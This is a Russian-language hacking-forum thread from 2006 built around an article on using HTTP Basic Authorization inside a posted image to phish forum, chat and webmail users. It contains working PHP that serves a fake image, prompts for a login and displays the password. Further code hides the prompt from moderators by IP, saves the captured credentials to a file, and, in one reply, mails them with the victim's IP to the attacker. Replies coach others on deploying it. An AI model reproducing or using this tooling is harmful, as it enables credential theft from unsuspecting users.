Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Применение Basic Authorization против форумов (https://forum.antichat.xyz/showthread.php?t=20911)

hidden 25.06.2006 17:51

Применение Basic Authorization против форумов
 
Я надеюсь, вы ввели не верные данные (не беспокойтесь то, что вы ввели, попало только на ту картинку, что на вашем экране), но если всёже верные это ещё раз даказывает возможности этого способа и эта статья поможет вам больше не покупаться на подобный метод авторизации, а вобще я ненашол статьи на подобную тему и решил написать.


Данный метод авторизации применяется очень редко, из-за отсутствия шифрования передаваемых серверу данных, отсутствия возможности изменения интерфейса ввода данных, а также из-за того, что введённые данные ассоциируются только с той страницей, на которой проводилась авторизация.
В основном он применяется аппаратными сетевыми средствами, например, для доступа к странице настроек, из-за простоты использования.


Этот способ применяется к документам любого типа, значит, к картинкам он тоже применяется, да и даже к тем картинкам, которые расположены на веб-странице и даже на защищённой странице(которой многие люди доверяют), на страницах почтовых ящиков, форумов и чатов где имеется возможность вставлять картинки.


Из предыдущего предложения сделаем вывод: Если применить этот метод в почитании с СИ, может что-то получиться.



Первый способ: Стырить пароль у юзера. Это наиболее полезный способ.


Закинув такую картинку в обычный форум или чат можно выловить некоторое количество логинов и паролей юзеров.


И вот он скрипт.

PHP код:

<?php
  
  header
("Content-type: image/png");

  
$im imagecreate(25664);
  
  
imagecolorallocate($im000);
  
  
$green_color imagecolorallocate($im02550);
  
  
imagerectangle($im0025563$green_color);
  
  
$login $_SERVER['PHP_AUTH_USER'];
  
  
$pass  $_SERVER['PHP_AUTH_PW'];
  
  if ((
strlen($login)<3) || (strlen($pass)<1)){
  
    
Header('HTTP/1.1 401 Unauthorized');
    
    
Header('WWW-Authenticate: Basic realm="hidden"');
    
    
imagestring($im26425"You're not authorized!"$green_color);
  
  } else {
  
    
imagestring($im21616"Your login is '$login', and"$green_color);
    
    
imagestring($im21636"your password is '$pass'"$green_color);
  
  }
  
  
imagepng($im);
  
  
imagedestroy($im);

?>


Именно он применён перед началом данной статьи.

Ты наверно скажешь, как только модератор это увидит, он сразу удалит эту картинку, если конечно он её увидит, для этого мы поставим фильтр, на IP адрес модера, для этого просто заменим эту строку


PHP код:

if ((strlen($login)<3) || (strlen($pass)<1)){ 

на

PHP код:

if (((strlen($login)<3) || (strlen($pass)<1)) && ($_SERVER['REMOTE_ADDR']<>'127.0.0.1')){ 


в данном случае 127.0.0.1 нужно заменить на реальный IP адрес модера, или модифицировать этот простенький скрипт, для фильтрации по спискам, думаю, если ты собераешся применять этот способ, значит, разберешься, как это сделать.


Ну и естественно нужно сохранить полученные данные


PHP код:

$fh=gzopen('pass.gz''a9');gzwrite($fh"$login:$pass\n");gzclose($fh); 


Если скрипт находится в корневой директории сайта, то лучше сохранять не в "pass.gz", а в "../pass.gz", чтобы нельзя было получить доступ к файлу из вэб.


Второй способ: Что-то вроде флуда, только хуже.


Если ты заметил, это модальное окно, значит пока его не закроешь нельзя продолжить пользоваться окном над которым оно открылось, ты скажешь, ну я просто закрою его и всего-то делов, а представь я вставил 50 таких картинок, и каждую придётся закрывать.


И так, мы сталкиваемся с такой проблемой, браузер привязывает эти данные к тому хосту(не странице, а хосту), с которого открыл, и чтобы обойти это нам потребуется личный IP, что не даёт нам бесплатный хостинг.


Зачем? А затем, что для браузера 127.0.0.1, 127.00.0.1, 127.0.00.1, 127.0.0.01 и даже 0177.0.0.1, последний ведёт туда же просто первый байт переведён восьмеричную систему счисления, также можно перекодировать её в HEX - 0x7f или 7fh, а вообще нулей перед цифрой в восьмеричной системе можно писать сколько угодно 127.0.000000000000.1, 00000000000177.0.0.1, но для браузера это разные хосты, потому что привязка текстовая.


Заметь:
-
Приведённый скрипт, это скрипт PHP, его надо вставить в любой текстовый редактор и сохранить в формате php(не png, иначе придётся править .htaccess).
- Результатом этого скрипта, получается, не страница, а картинка, которую можно вставить [IMG]cюда[/IMG], или <img src="сюда">.


Решение проблемы: Я не представляю способов решения, кроме отключения картинок, но ведь это не выход. Убить двух яайцев избавиться от баннеров и лишних картинок можно установкой FireFox + Adblock plugin-а, это то, что я и делаю.



hidden специально для AntiChat

Dracula4ever 25.06.2006 18:10

Я прочитал твою статью и честно говоря она мне не понравилась :-(


Посмотрим что другие люди скажут

hidden 25.06.2006 18:20

Цитата:

Сообщение от dracula4ever
Я прочитал твою статью и честно говоря она мне не понравилась :-(


Посмотрим что другие люди скажут

Тыбы написал что тебе непонравилось, раз уж начал, а так не**р флудить.

Dracula4ever 25.06.2006 18:29

Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :
Цитата:

<?php

header("Content-type: image/png");

$im = imagecreate(256, 64);

imagecolorallocate($im, 0, 0, 0);

$green_color = imagecolorallocate($im, 0, 255, 0);

imagerectangle($im, 0, 0, 255, 63, $green_color);

$login = $_SERVER['PHP_AUTH_USER'];

$pass = $_SERVER['PHP_AUTH_PW'];

if ((strlen($login)<3) || (strlen($pass)<1)){

Header('HTTP/1.1 401 Unauthorized');

Header('WWW-Authenticate: Basic realm="hidden"');

imagestring($im, 2, 64, 25, "You're not authorized!", $green_color);

} else {

imagestring($im, 2, 16, 16, "Your login is '$login', and", $green_color);

imagestring($im, 2, 16, 36, "your password is '$pass'", $green_color);

}

imagepng($im);

imagedestroy($im);

?>
А не несколько строчек

bul.666 25.06.2006 18:53

Цитата:

Сообщение от dracula4ever
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :


А не несколько строчек

Мне кажется все поняли...

hidden 25.06.2006 18:57

Цитата:

Сообщение от dracula4ever
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :


А не несколько строчек

Для тех кто хоть немного знает инглиш и какой небудь язык програмирования, будет достаточно понятно чтоб применить, если нет пусть читают Руководство по PHP, а если кто-то нехочет и непонимает, нах тогда ему эта тема.

Utochka 25.06.2006 19:00

прикинь даже и не задумывался что так мона тырить ))

nerezus 25.06.2006 19:15

боян, но расписан хорошо )

hidden 25.06.2006 19:18

Цитата:

Сообщение от nerezus
боян, но расписан хорошо )

Ничего подобного, сам придумал, сам написал! Если ктото до меня это придумал, это не значит, что я у него содрал, приведи пример, откуда можно взять такую статью и на сколько она будет похожа на мою.

И вообще, я никогда ничего не сдираю!

max_pain89 25.06.2006 22:04

Блин это мега статья, конечно вероятность ввода юзером пароля не очень высока, однако аффтор забыл про веб-интерфэйсы мыльников, там никаких модеров нету. Вобщем 5+, вернее 3.
Я думаю даже gmail.com не устоит. Давайте название этому всему придумаем.

hidden 25.06.2006 22:36

Цитата:

Сообщение от max_pain89
Блин это мега статья, конечно вероятность ввода юзером пароля не очень высока, однако аффтор забыл про веб-интерфэйсы мыльников, там никаких модеров нету. Вобщем 5+, вернее 3.

Thax :) , а про мыльники я не забыл и не только про мыльники, я упоминал это, просто не углублялся, и так понятно.

Цитата:

Этот способ применяется к документам любого типа, значит, к картинкам он тоже применяется, да и даже к тем картинкам, которые расположены на веб-странице и даже на защищённой странице(которой многие люди доверяют), на страницах почтовых ящиков, форумов и чатов где имеется возможность вставлять картинки.
Цитата:

Сообщение от max_pain89
Я думаю даже gmail.com не устоит. Давайте название этому всему придумаем.

Название? Я думал над этим но придумал только "Basic Authorization против форумов".

Rebz 25.06.2006 22:41

Basic Authorization Exchange
Basic Authorization Engeering
хых))хз с названием)) но способ оригинальный..

Rabid Rabbit 26.06.2006 01:12

Мля таки почетал.
Майо придлажение выкинь Базик нах ваще из названия сбевает нимнога не в ту степь сразу асоцеации или с миме или с висуал васиком=)

back0rifice 26.06.2006 02:24

В принципе, мне понравилось. Я так понял - хотя, может, и не совсем верно :) -, что здесь идёт речь о PHP-including'e в само изображение ;) ?

Догнал (просто пришёл по link'у с КВИПа, поэтому окна авторизации не прочухал)... hidden, молодца!

Xex 27.06.2006 02:56

Первоисточник идеи, я так понимаю, http://forum.antichat.ru/thread20445.html

Вероятно ачатовцы не очень внимательны, ибо после прочтения топика "Досим топик" - до того, что написал хидын, догадаться должен был каждый...
P>S>используйте мозгъ...
P>S>S>ИМХО - слабо для статьи...

hidden 27.06.2006 03:13

Цитата:

Сообщение от Xex
Первоисточник идеи, я так понимаю, http://forum.antichat.ru/thread20445.html

Вероятно ачатовцы не очень внимательны, ибо после прочтения топика "Досим топик" - до того, что написал хидын, догадаться должен был каждый...
P>S>используйте мозгъ...
P>S>S>ИМХО - слабо для статьи...

Не знаю, что было в той картинке, первый раз вижу этот пост, а идея лично моя, у меня безпроводной ротор такие хрени выдаёт, вот я и решил, применить.
"Досим" - юмарист. Ты знаешь что такое досить? Какое в топике обарудование? Что отказало?

Xex 27.06.2006 06:35

Цитата:

Сообщение от hidden
Не знаю, что было в той картинке, первый раз вижу этот пост, а идея лично моя, у меня безпроводной ротор такие хрени выдаёт, вот я и решил, применить.

если действительно твоя, то яничего не имею против.
Цитата:

Сообщение от hidden
"Досим" - юмарист. Ты знаешь что такое досить? Какое в топике обарудование? Что отказало?

"ты хочешь поговорить об этом?"(це)
Ты начинаешь негодовать и кидаться словами - что не есть гуд, теперь ты понимаешь мое негодование, когда я увидел ето...и подумал, что этот наглый плагиат(не в чистом виде). :)
P>S>DOS - Денайед оф сёрвис...
сёрвис - энто предоставление услуг(с англ).
денайед - отказ(с англ).
форум предоставляет услуги для получения информации, топик в частности.
Соответственно, отказ обслуживания топика - это есть отказ в сервисе предоставления информации.

hidden 27.06.2006 06:49

Цитата:

теперь ты понимаешь мое негодование, когда я увидел ето...и подумал, что этот наглый плагиат(не в чистом виде)
Понимаешь, плагиат - это когда один переписывает у другово, и при этом говорит, что это его, а вот когда в статью пишут, что это плагиат, с поста из 4х строк, это уже клевита.

alex-19841 27.06.2006 07:16

а куда этот код вставлять? Чтоб он рабоьал. Пробовал в notepad вставить, а его переименовал в png при открытии картинки был просто показан php код

hidden 27.06.2006 07:21

Этот код переименовывать не в png а в php надо и заливать на хоспинг с поддержкой PHP и GD, а потом с сайта открывать.
ещё можешь апач поставить, но лучьше хостинг (к примеру тот что у меня в примере).

Kanick 29.06.2006 09:10

Ааааа!!! Честно, у меня была такая идея! Даже нахожусь на этапе ее реализации, и вот - наткнулся на эту статью. ИМХО - это очень перспективное направление, в эту сторону можно думать. Хотя я бы не стал об этом слишком распространяться, глядишь - и будут меры принимать ;)

Отличная статья, спасибо.

Kanick 29.06.2006 09:16

Кстати, насчет решения. В Firefox, например, рядом с зоной авторизации показывается хост, на котором собственно лежит скрипт. И там, кажется, проблема с русскими кодировками в окошке - сложно вписать что-нибудь осмысленное. Но, к счастью, Firefox стоит у меньшинства :)

Егорыч+++ 29.06.2006 09:29

Это вообще не баг. И довольно старая вещь. Ничего с этого не поиметь. А забанить за такую картинку всегда можно, чтоб другим людям не мешали.

Kanick 29.06.2006 09:54

Егорыч+++, не баг, но "хак". На форумах - да. Но в Сети еще полно мест, куда можно вставить такую картинку, разведя на этом кучу лохов.

nerezus 29.06.2006 10:01

фишенг )

Otaku 29.06.2006 17:30

Цитата:

фишенг )
+СИ :)

hidden 29.06.2006 18:37

Цитата:

Это вообще не баг.
Но ведь, никто про баг и не говорил, это лишь "Basic Authorization" + СИ.
Цитата:

В Firefox, например, рядом с зоной авторизации показывается хост, на котором собственно лежит скрипт.
Да, а есль в строку браузера написать IP, а ещё если не просто IP, а в десятиричной форме, как думаещь, сколько процентов людей, непоймут что это такое.
Цитата:

И там, кажется, проблема с русскими кодировками в окошке - сложно вписать что-нибудь осмысленное.
Но ведь можно, развадить англоязычное население, а также, тех кто знает английский ;)

nerezus 29.06.2006 18:43

Цитата:

а в десятиричной форме
он в такой и идет =) в 16ричной так: 7f000001

hidden 29.06.2006 18:50

А я миел в виду 3585395723 или семиричной 032555146013, как думаешь, куда эти адреса ведут?

Zadoxlik 29.06.2006 18:56

Цитата:

Сообщение от Егорыч+++
Это вообще не баг ...

Это фича? :)

KOLBA 29.06.2006 22:10

Прочитал статью за что автору респект , но я кое-что не понял .Помогите разобраться куда этот скрипт в 1 способе вставлять насколько я понял в картинку но если так то как !

hidden 29.06.2006 22:26

Вставь его, в твой любимый текстовый редактор, например Блокнот(Notepad), сохрани под именем 111.php и залей на хостинг, а вот с хостингом, тебе придётся разбираться самому, они все разные.
Кстати тут, я это уже упомянал.

KOLBA 29.06.2006 22:52

ну а если залить на холм.ру или юкоз.ру ? И что мне эту страничку надо будет раздовать людям у которых я хочу узнать пасс и если они зайдут то пасс будет?

hidden 29.06.2006 23:45

Я добавил новый пункт Заметь: к статье, посмотри.
Надеюсь после этого если ктото и будет задавать вопросы, они хотябы небудут повторятса.

Electro 14.07.2006 09:47

Статья хорошая, молодец! Но у мну после ввода паролья и логина в картинке нифига не показывается что ваш логин тот и пароль этот а ту на форуме у тя показывает :confused: и еще pass.gz увеличивает байты ...окрываю а там точки в место пассов... не подскажешь в чем трабла?

hidden 14.07.2006 18:41

Картинка может не показыаться, если нет поддержки GD в PHP, или может какая небудь левая версия, хз.
А строку сохранения паса ты поставил после определения переменных или до ;)
Советую их поставить, куда небудь, в место действия else, чтобы сохнанялись только тогда когда ввели что небудь, в оба поля.

cop 20.11.2006 22:44

Кстати, как можно скрыть адрес сервера, на котором лежит скрипт?

hidden 20.11.2006 22:47

Цитата:

Сообщение от cop
Кстати, как можно скрыть адрес сервера, на котором лежит скрипт?

Как-же тогда браузер поймёт к какому серверу обращаттся, если ты его скроишь? ;)

steamer 20.11.2006 22:56

Цитата:

if ((strlen($login)<3) || (strlen($pass)<1)){
Я так понимаю смысл в том, что если длина логина меньше 3 символов или длина пароля меньше 1 символа то неавторизован. Но что-то я вбиваю и больше, а нифига. Не аффторизован, все время вылетает окошко снова и снова. Сначала грешил на фаерфокс, попробовал в экспорере - то же.

Arin 30.12.2006 17:37

Статья хорошая. Мне понравилась.
Только вот кажеться не совсем удобным:
PHP код:

$fh=gzopen('pass.gz''a9');gzwrite($fh"$login:$pass\n");gzclose($fh); 

Мне больше подошло что бы пас с логином, если его кто то введет приходил на мыло. Для этого можно вышеозначенную строчку заменить например на:
PHP код:

mail("Ваше мыло@ya.ru","$login:$pass\n","(".$REMOTE_ADDR.")\n\n"); 

Логин и пас придут в теме письма, это полезно тк мыло будет зафлужено очень быстро. В теле письма будет ип человека.
Кстати на рамблер не приходит,а на яндекс да, остальные не проверял.
ЗЫ: строчка кода достаточна кривая, хотя и работает, лучше напишите свой вариант.

Еще раз респект автору статьи. Всем удачи.


Время: 09:43